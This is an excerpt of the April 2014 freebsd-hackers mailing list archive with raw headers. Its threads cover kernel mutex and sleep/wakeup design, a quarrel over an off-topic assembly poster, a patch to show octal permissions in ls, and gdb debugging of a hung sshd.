d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=NHvC0UcNkDKcX3OMSKyzFLCQC/W9lfU+L+CUQAhx2f8=; b=mpdQjKGCrkt+Pa1aWnZqM6ADF/PYzqFC6MI0q+SdItmRqqiJN20gjT2gR0Q3RVBTbi 4ycN5Cv0BlRyUwO4m4osqDjywR//tadAEw1WpDAduGuV/Y0DyXICLcQJas7+pQLE7MtQ GDwsuEdeS3pzp0ebA7nh9z/k8db/1Un3rJCJKOipljqs1NvqFfcDaRkSvoQLRJelT6ae VK76e0ECyyz5lB17wx5jYpXlzcGk3JoGocA5ohooM4q42lStL/JuC37TDGlrOvBjFsrV ncxNgYypiVmkaPsqQqxFrDrq472LJarbSd8kpGmtoRX1FfEuD3tXUbjC9DwKR6g9ipbI +HUw== MIME-Version: 1.0 X-Received: by 10.112.85.6 with SMTP id d6mr3468006lbz.8.1396976333120; Tue, 08 Apr 2014 09:58:53 -0700 (PDT) Received: by 10.112.145.39 with HTTP; Tue, 8 Apr 2014 09:58:53 -0700 (PDT) In-Reply-To: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> References: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> Date: Tue, 8 Apr 2014 12:58:53 -0400 Message-ID: Subject: Re: Multiple locks and missing wakeup. From: vasanth sabavat To: =?ISO-8859-2?Q?Edward_Tomasz_Napiera=B3a?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 16:58:55 -0000 Hi, I assume you are in a situation where one of your lists is being accessed by many producer threads and only one thread is consuming both lists? In your context, wouldn't it be easier to use two separate threads to process each individual lists? This is assuming you want to avoid contention to one list which is accessed by many threads. On Tue, Apr 8, 2014 at 2:34 AM, Edward Tomasz Napiera=C5=82a wrote: > Let's say I have a kernel thread processing elements from a queue, > sleeping until there is work to do; something like this: > > mtx_lock(&mtx1); > for (;;) { > while (!LIST_EMPTY(&list1)) { > elt =3D LIST_FIRST(&list1); > do_stuff(elt); > LIST_REMOVE(&list1, elt); > } > sleep(&list1, &mtx1); > } > mtx_unlock(&mtx1); > > Now, is there some way to make it work with two lists, protected > by different mutexes? The mutex part is crucial here; the whole > point of this is to reduce lock contention on one of the lists. The > following code would result in a missing wakeup: > > mtx_lock(&mtx1); > for (;;) { > while (!LIST_EMPTY(&list1)) { > elt =3D LIST_FIRST(&list1); > do_stuff(elt); > LIST_REMOVE(&list1, elt); > } > > mtx_lock(&mtx2); > while (!LIST_EMPTY(&list2)) { > elt =3D LIST_FIRST(&list2); > do_other_stuff(elt); > LIST_REMOVE(&list2, elt); > } > mtx_unlock(&mtx2); > > sleep(&list1, &mtx1); > } > mtx_unlock(&mtx1); > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " > --=20 Thanks, Vasanth From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 18:12:47 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 490F2EF4; Tue, 8 Apr 2014 18:12:47 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1D99410D6; Tue, 8 Apr 2014 18:12:47 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id D2CEEB953; Tue, 8 Apr 2014 14:12:44 -0400 (EDT) From: John Baldwin To: Edward Tomasz =?iso-8859-2?q?Napiera=B3a?= Subject: Re: Multiple locks and missing wakeup. Date: Tue, 8 Apr 2014 14:12:10 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> <201404081001.31219.jhb@freebsd.org> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Message-Id: <201404081412.10066.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 08 Apr 2014 14:12:44 -0400 (EDT) Cc: freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 18:12:47 -0000 On Tuesday, April 08, 2014 12:45:49 pm Edward Tomasz Napiera=B3a wrote: > Wiadomo=B6=E6 napisana przez John Baldwin w dniu 8 kwi 2014, o godz. 16:0= 1: >=20 > > On Tuesday, April 08, 2014 2:34:30 am Edward Tomasz Napiera=B3a wrote: > >> Let's say I have a kernel thread processing elements from a queue, > >> sleeping until there is work to do; something like this: > >>=20 > >> mtx_lock(&mtx1); > >> for (;;) { > >> while (!LIST_EMPTY(&list1)) { > >> elt =3D LIST_FIRST(&list1); > >> do_stuff(elt); > >> LIST_REMOVE(&list1, elt); > >> } > >> sleep(&list1, &mtx1); > >> } > >> mtx_unlock(&mtx1); > >>=20 > >> Now, is there some way to make it work with two lists, protected > >> by different mutexes? The mutex part is crucial here; the whole > >> point of this is to reduce lock contention on one of the lists. The > >> following code would result in a missing wakeup: > >=20 > > All our sleep primitives in the kernel only accept a single wait channe= l. > > It sounds like you want something more like select() or poll() where you > > can specify multiple wait channels. There isn't a good way to do that > > currently. You could write one, but it would be a bit hard to do > > correctly. >=20 > Perhaps I should have been more clear: I'm ok with a single wait > channel. The problem is that there is no way to pass more than one > mutex to the sleep() function, so we can miss wakeup for the list > protected by the second lock, if something gets enqueued between > releasing mtx2 and calling sleep(). >=20 > > In practice you'd end up implementing something that boiled > > down to having a single wait channel with a common lock that protected > > it so you could do something like: >=20 > The whole purpose of this is to avoid locking mtx1 in the the enqueue > routine for the second list, for contention reasons. Ah, but note that I didn't lock mtx1 in the enqueue routine, I marked the 'combo_mtx' which is only used for the sleep/wakeup. > [..] >=20 > > Another way to do this would be to be a bit more poll-like (e.g. if > > you wanted a generic mechanism for this) where you have some sort of > > 'poller' structure and you set a flag before starting a scan of all > > your backends. Any wakeup that occurs while scanning clears the > > flag, and you only sleep if the flag is still set at the end of the > > scan, etc. >=20 > But the flag would have to be protected by the mutex we pass > to sleep(), and would require grabbing that mutex in both enqueue > routines, right? Yep. =2D-=20 John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 18:56:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6AF2A9D3; Tue, 8 Apr 2014 18:56:45 +0000 (UTC) Received: from jerrymc.net (jerrymc.net [75.75.214.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1C26715EF; Tue, 8 Apr 2014 18:56:44 +0000 (UTC) Received: from jerrymc.net (localhost [127.0.0.1]) by jerrymc.net (8.14.5/8.14.5) with ESMTP id s38Iik2r079648; Tue, 8 Apr 2014 14:44:46 -0400 (EDT) (envelope-from jerrymc@jerrymc.net) Received: (from jerrymc@localhost) by jerrymc.net (8.14.5/8.14.5/Submit) id s38IijSu079647; Tue, 8 Apr 2014 14:44:45 -0400 (EDT) (envelope-from jerrymc) Date: Tue, 8 Apr 2014 14:44:45 -0400 From: Jerry McAllister To: Ian Lepore Subject: Re: Assembly continues to be used in the development of FreeBSD? Message-ID: <20140408184445.GA79554@jerrymc.net> References: <14679.1396898970@critter.freebsd.dk> <201404081711.34003.mitchell@wyatt672earp.force9.co.uk> <1396974609.81853.443.camel@revolution.hippie.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1396974609.81853.443.camel@revolution.hippie.lan> User-Agent: Mutt/1.4.2.3i Cc: freebsd-hackers@freebsd.org, Frank Mitchell X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 18:56:45 -0000 On Tue, Apr 08, 2014 at 10:30:09AM -0600, Ian Lepore wrote: Ever notice how someone posts something somewhat off-topic or flame provocative on one of the lists and then we get up to several dozen posts saying feed the troll and ban the troll, etc. All the ban-ists generate more useless traffic (including this one) than any troll and responses. ////jerry > 1) It's off-topic for this list. > > 2) The person has an ever-growing history of trolling this list (and > probably just needs to be banned at this point). Not the usual "trying > to make flames" kind of trolling, the more insidious "act just barely > reasonable enough to get lots of people to waste lots of time" kind of > trolling. > > If you want to discuss vague generalities around the issue of assembler > language programming, I'm sure you can find an appropriate forum to do > so that doesn't also spam people trying to get freebsd work done. > > -- Ian > > On Tue, 2014-04-08 at 17:11 +0100, Frank Mitchell wrote: > > Why are people moaning just because the guy wants to discuss Assembly? He's > > not doing any harm. Some of us are interested, even if we don't want to get > > into Assembly personally. > > > > On Monday 07 Apr 2014 20:29:30 Poul-Henning Kamp wrote: > > > In message , Jorge Luis > > > Carvalho Santos writes: > > > > > >According to the book "Complete and Total C" by Herbert Schildt, > > > >the general rule is not to use Assembly because it creates too many > > > >problems. > > > > > > Don't feed the troll. > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 18:53:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BE7A577B for ; Tue, 8 Apr 2014 18:53:30 +0000 (UTC) Received: from spectrum.skysmurf.nl (spectrum.skysmurf.nl [82.95.125.145]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 33C8815A5 for ; Tue, 8 Apr 2014 18:53:29 +0000 (UTC) Received: from spectrum.skysmurf.nl (mail.skysmurf.nl [192.168.42.4] (may be forged)) by spectrum.skysmurf.nl (8.14.7/8.14.7) with SMTP id s38IjXTq001335 for ; Tue, 8 Apr 2014 20:45:33 +0200 (CEST) (envelope-from freebsd@skysmurf.nl) Received: by spectrum.skysmurf.nl (sSMTP sendmail emulation); Tue, 08 Apr 2014 20:45:33 +0200 Date: Tue, 8 Apr 2014 20:45:33 +0200 From: "A.J. 'Fonz' van Werven" To: freebsd-hackers@freebsd.org Subject: Letting "ls -l" display file permissions in octal Message-ID: <20140408184533.GA974@spectrum.skysmurf.nl> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="k+w/mQv8wyuph6w0" Content-Disposition: inline X-PGP-Key: http://www.skysmurf.nl/~fonz/fonz_pubkey.asc User-Agent: Mutt/1.5.23 (2014-03-12) X-Mailman-Approved-At: Tue, 08 Apr 2014 18:59:28 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 18:53:30 -0000 --k+w/mQv8wyuph6w0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable [Please CC me when you think it's necessary; I'm not subscribed to ] [-hackers because I'm not a developer. ] Someone asked on the FreeBSD Forums whether it was possible to let "ls -l" display file permissions in octal, e.g. % ls -lO -0644 1 root wheel - 855B Mar 4 16:30 some_file instead of % ls -l -rw-r--r-- 1 root wheel - 855B Mar 4 16:30 some_file Since ls itself appears not to have an option for that and I quite liked the idea, I decided to hack the source of ls to do just that. If you folks think this is a good idea, then by all means feel free to discuss my patch and possibly incorporate it into the FreeBSD source tree. And if you think it's not a good idea, no harm done. It's just a pet project (and a simply one at that) so my feelings won't be hurt if it's not accepted. The patch can be found here: http://www.skysmurf.nl/attic/ls.patch And the discussion thread in question on the FreeBSD Forums can be found here: https://forums.freebsd.org/viewtopic.php?f=3D3&t=3D45825 Regards, Alphons "Fonz" van Werven --=20 I'm not completely useless, I can be used as a bad example. --k+w/mQv8wyuph6w0 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTREPNAAoJEAfP7gJTaCe87JIQAMqN9XWEI0/x6gYRXjXYnpb4 hJnlva7dR3TJSaaZ0fgUW48ITS4HnDh21SvUzDpc6fYl9K0qjvYVOvoTm7ukKyNm k+lZOcvVcYKOUn42NSXcqqxNBLPIgqni0iPFf/K69C5gZO5rkQfHFKAO9fmYyjAx 8hJ3GT4LRNTFp/EEL3jwBdnvznSlMx6/M3/HZk341kDkrH8nzxabJ5ZZ2c0BJw08 gUMB6M4lMh8UOiAtI7OeZVlQM3JucSeMSKUdqm8OJtatna+J/m+Gcgn+vwSPcVQ5 52moNYzXY79+61M0kQ9TX1KOZoEYtSI6HYKM5XE1bD+t5ohj6tJ4gx2CPBAw4bIO P4MtjuhVd+XoUuiQuUwlKUAzNXAJF45Zuv/oymLeXn4lEsrAxlO9edO7hx69O0O3 mwU0BAyHriacyTOblQt4Vwt7MbR4phBPIY4zO+ESzjaJ3RjG0AammuGaBh9alR4d ap+yDtmGcJIg4Qnhz2GRXbXIMosmVZUk2gI/bAWf8ogad2OIEkVVxjOhsZBJV1J1 DVQDByn4j1IpJ/9cQvRVa25Zc7Ev4+WoPPJ9igvdmIfo58EM17Dhzz+83TT3igOU 6W7agPeWccVKY9D1LpfyHHQus9LGp9pUS1dlbqOHw1Fv8m9nf9R7LHCnIbrwKRai j33EurrQ/nndYowA1jNa =gIqB -----END PGP SIGNATURE----- --k+w/mQv8wyuph6w0-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 19:08:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CFD14F8 for ; Tue, 8 Apr 2014 19:08:17 +0000 (UTC) Received: from nm43-vm7.bullet.mail.bf1.yahoo.com (nm43-vm7.bullet.mail.bf1.yahoo.com [216.109.114.238]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7C437172D for ; Tue, 8 Apr 2014 19:08:16 +0000 (UTC) Received: from [66.196.81.170] by nm43.bullet.mail.bf1.yahoo.com with NNFMP; 08 Apr 2014 19:08:10 -0000 Received: from [98.139.212.243] by tm16.bullet.mail.bf1.yahoo.com with NNFMP; 08 Apr 2014 19:08:10 -0000 Received: from [127.0.0.1] by omp1052.mail.bf1.yahoo.com with NNFMP; 08 Apr 2014 19:08:10 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 764843.61673.bm@omp1052.mail.bf1.yahoo.com Received: (qmail 70305 invoked by uid 60001); 8 Apr 2014 19:08:10 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com.br; s=s1024; t=1396984090; bh=0nCv3w6xVhCwStOJtwTw+6DqhOearLNFTgA301EucpA=; h=X-YMail-OSG:Received:X-Rocket-MIMEInfo:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=1h3yt7QrGz/qe3N3sTLYQaR6rBfelxFfEERzOtcZL4ZBJ4VLLFpHkmF3PrLqaYDtDbeiPot6z+5LDelTYSVkSqG9eGZS/E6+zvOobYqS3iIvoELvPjfEnzmovl0DrlNROkMAWOVpJDFPb3f95+o3fUGcR1MEwYmI6ZWl63932Rw= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com.br; h=X-YMail-OSG:Received:X-Rocket-MIMEInfo:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=Jq7vG5RyPG0GsGagMK7k84Lgnh182g9RnJYyeA21J7G2hMsXE5ffS6I3dcEKghKbfTSdC1oHmlqlmvmWosXsL2pyzaY+j1kQ0EcYl+I4SBWQMEHqiVuia6RMkHhYr8Vy6rnF7f0Srexh1+w4+C/aSccyiik6exDhaOZD01OYi4U=; X-YMail-OSG: r0Mu2vwVM1mPmEu8VYTK8XV_4ZauBJPMX.46iFyUvPBpvcV rWXnz1NDkoMtSFVkMa._WD_4igunz1Or1pKCicamwY8dBawod_4YtOJcVoqG gf245.K.peGtpz.eramIjGzWhmjGHjKnk39ojTq6MwJWLO_WdcFOPpi6.kOh 3bAvrVkmYJSO0K2kjpIgp4vh4mZKEA0Ee0lWY2WSAjZduYblQXM5FIir631K 613Xye0FnuVwihVOQHTWOgUFgSVIS2VfDT7xWC.ZPSI43P5t6eXLdzQm81Md 8PalTppd5hzjkM0fEokFVKZCVYLF3fFaCnm.lptH3MVGUJRltT4wG3GkvRBD 0bnZOddMifiZeEHsINHdNWDEjhyRkeXRCWCJaopluGqCEjAPyht8N9LIBauO bUQDSqkuiWwhgJ1TL2wnhr4D5TOBbVp91Prtkl5xig.CZwzVPpw5vaMfB02Q wVChCniMW1hobMwREM8t__OEUFuh._.ouPJe1_2TwrW5_tQjrFvUQk5LNbO. Eu6Sfn8YmX3EBiLQaolaQJFqVqGri2W_7G3WkES1pQ0kGEZQgcmg2UcCzs93 FUg-- Received: from [186.233.157.39] by web162002.mail.bf1.yahoo.com via HTTP; Tue, 08 Apr 2014 12:08:09 PDT X-Rocket-MIMEInfo: 002.001, VGhpcyBndXkgaXMgYSB3ZWxsLWtub3duIHRyb2xsIGluIG91ciBCcmF6aWxpYW4gbGlzdC4gSGUgd2FzIGJhbm5lZCBmcm9tIG91ciBsaXN0LiBJIHN1Z2dlc3QgdGhhdCBzb21lb25lIGtpY2sgaGlzIGFzcyByaWdodCBub3cuCkVtIFRlcsOnYS1mZWlyYSwgOCBkZSBBYnJpbCBkZSAyMDE0IDE1OjU2LCBKZXJyeSBNY0FsbGlzdGVyIDxqZXJyeW1jQG1zdS5lZHU.IGVzY3JldmV1OgogCk9uIFR1ZSwgQXByIDA4LCAyMDE0IGF0IDEwOjMwOjA5QU0gLTA2MDAsIElhbiBMZXBvcmUgd3JvdGU6CgpFdmVyIG5vdGkBMAEBAQE- X-Mailer: YahooMailWebService/0.8.182.648 References: <14679.1396898970@critter.freebsd.dk> <201404081711.34003.mitchell@wyatt672earp.force9.co.uk> <1396974609.81853.443.camel@revolution.hippie.lan> <20140408184445.GA79554@jerrymc.net> Message-ID: <1396984089.24824.YahooMailNeo@web162002.mail.bf1.yahoo.com> Date: Tue, 8 Apr 2014 12:08:09 -0700 (PDT) From: Danilo Egea Subject: Re: Assembly continues to be used in the development of FreeBSD? To: Jerry McAllister , Ian Lepore In-Reply-To: <20140408184445.GA79554@jerrymc.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , Frank Mitchell X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Danilo Egea List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 19:08:18 -0000 This guy is a well-known troll in our Brazilian list. He was banned from ou= r list. I suggest that someone kick his ass right now.=0AEm Ter=E7a-feira, = 8 de Abril de 2014 15:56, Jerry McAllister escreveu:=0A = =0AOn Tue, Apr 08, 2014 at 10:30:09AM -0600, Ian Lepore wrote:=0A=0AEver no= tice how someone posts something somewhat off-topic or flame=0Aprovocative = on one of the lists and then we get up to several dozen=0Aposts saying feed= the troll and ban the troll, etc.=A0 All the ban-ists=0Agenerate more use= less traffic (including this one) than any troll=0Aand responses.=0A=0A////= jerry=A0 =A0 =0A=A0 =0A=0A> 1) It's off-topic for this list.=0A> =0A> 2) Th= e person has an ever-growing history of trolling this list (and=0A> probabl= y just needs to be banned at this point).=A0 Not the usual "trying=0A> to m= ake flames" kind of trolling, the more insidious "act just barely=0A> reaso= nable enough to get lots of people to waste lots of time" kind of=0A> troll= ing.=0A> =0A> If you want to discuss vague generalities around the issue of= assembler=0A> language programming, I'm sure you can find an appropriate f= orum to do=0A> so that doesn't also spam people trying to get freebsd work = done.=0A> =0A> -- Ian=0A> =0A> On Tue, 2014-04-08 at 17:11 +0100, Frank Mit= chell wrote:=0A> > Why are people moaning just because the guy wants to dis= cuss Assembly? He's =0A> > not doing any harm. Some of us are interested, e= ven if we don't want to get =0A> > into Assembly personally.=0A> > =0A> > O= n Monday 07 Apr 2014 20:29:30 Poul-Henning Kamp wrote:=0A> > > In message <= COL127-W467DCAD7917F70A0590C7BE8680@phx.gbl>, Jorge Luis=0A> > > Carvalho S= antos writes:=0A> > =0A> > > >According to the book "Complete and Total C" = by Herbert Schildt,=0A> > > >the general rule is not to use Assembly becaus= e it creates too many=0A> > > >problems.=0A> > > =0A> > > Don't feed the tr= oll.=0A> > _______________________________________________=0A> > freebsd-ha= ckers@freebsd.org mailing list=0A> > http://lists.freebsd.org/mailman/listi= nfo/freebsd-hackers=0A> > To unsubscribe, send any mail to "freebsd-hackers= -unsubscribe@freebsd.org"=0A=0A> =0A> =0A> ________________________________= _______________=0A> freebsd-hackers@freebsd.org mailing list=0A> http://lis= ts.freebsd.org/mailman/listinfo/freebsd-hackers=0A> To unsubscribe, send an= y mail to "freebsd-hackers-unsubscribe@freebsd.org"=0A_____________________= __________________________=0Afreebsd-hackers@freebsd.org mailing list=0Ahtt= p://lists.freebsd.org/mailman/listinfo/freebsd-hackers=0ATo unsubscribe, se= nd any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 19:16:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EFBFE42C; Tue, 8 Apr 2014 19:16:04 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 94892181D; Tue, 8 Apr 2014 19:16:04 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s38JG2EP077873 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Apr 2014 20:16:02 +0100 (BST) Date: Tue, 08 Apr 2014 20:16:02 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <08A1E4111BEA2A26F6D44423@study64.tdx.co.uk> In-Reply-To: <201404081219.51276.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404080936.30651.jhb@freebsd.org> <63EFBCBD259A410BB4D71742@Mail-PC.tdx.co.uk> <201404081219.51276.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 19:16:05 -0000 --On 8 April 2014 12:19:51 -0400 John Baldwin wrote: >> [Switching to LWP 100218] >> 0x00000008038ea89c in __error () from /lib/libthr.so.3 >> (gdb) bt >> # 0 0x00000008038ea89c in __error () from /lib/libthr.so.3 >> # 1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, >> flags=, tsp=) >> at /usr/src/lib/libthr/thread/thr_umtx.c:277 >> # 2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=0x803af9480) at >> atomic.h:143 >> # 3 0x000000080064f9a2 in rlock_acquire (lock=0x80085fe00, >> lockstate=0x7fffffffba68) at /usr/src/libexec/rtld-elf/rtld_lock.c:197 >> # 4 0x00000008006498c9 in _rtld_bind (obj=0x800662000, reloff=13008) at >> /usr/src/libexec/rtld-elf/rtld.c:675 >> # 5 0x00000008006470cd in _rtld_bind_start () at >> /usr/src/libexec/rtld-elf/amd64/rtld_start.S:99 >> # 6 0x0000000000000246 in ?? () >> # 7 0x0000000000000000 in ?? () >> " > > Can you do 'frame 3' and ' p *lock' as well as 'frame 1' and 'p *rwlock'? Sure, " (gdb) frame 3 #3 0x000000080064f9a2 in rlock_acquire (lock=0x80085fe00, lockstate=0x7fffffffba68) at /usr/src/libexec/rtld-elf/rtld_lock.c:197 197 lockinfo.rlock_acquire(lock->handle); Current language: auto; currently minimal (gdb) p *lock $1 = {handle = 0x803af9480, mask = 1} (gdb) frame 1 #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 277 return _umtx_op_err(rwlock, UMTX_OP_RW_RDLOCK, flags, (void *)tm_size, tm_p); (gdb) p *rwlock $2 = {rw_state = -2147483648, rw_flags = 2, rw_blocked_readers = 0, rw_blocked_writers = 0, rw_spare = {0, 0, 0, 0}} " -Karl From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 19:18:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E1E98612; Tue, 8 Apr 2014 19:18:46 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 856CD184D; Tue, 8 Apr 2014 19:18:46 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s38JIim0077922 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Apr 2014 20:18:44 +0100 (BST) Date: Tue, 08 Apr 2014 20:18:44 +0100 From: Karl Pielorz To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> In-Reply-To: <20140408164353.GB21331@kib.kiev.ua> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404071148.10157.jhb@freebsd.org> <9647C5438B5CD4A3058AB1A2@Mail-PC.tdx.co.uk> <201404080936.30651.jhb@freebsd.org> <63EFBCBD259A410BB4D71742@Mail-PC.tdx.co.uk> <20140408164353.GB21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 19:18:46 -0000 --On 8 April 2014 19:43:53 +0300 Konstantin Belousov wrote: > The following patch might allow to see the backtrace beyond the binder > entry point. You might also have better luck with the gdb from ports. > > diff --git a/libexec/rtld-elf/amd64/rtld_start.S > [snip] If I apply that I presume I'm going to have to build / start the whole thing again (i.e. restart sshd at least / possibly the system etc.) and get it to hang again? I might see how far we can get with the current stuff before I have to go through that again :) -Karl From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 19:32:37 2014 Return-Path: 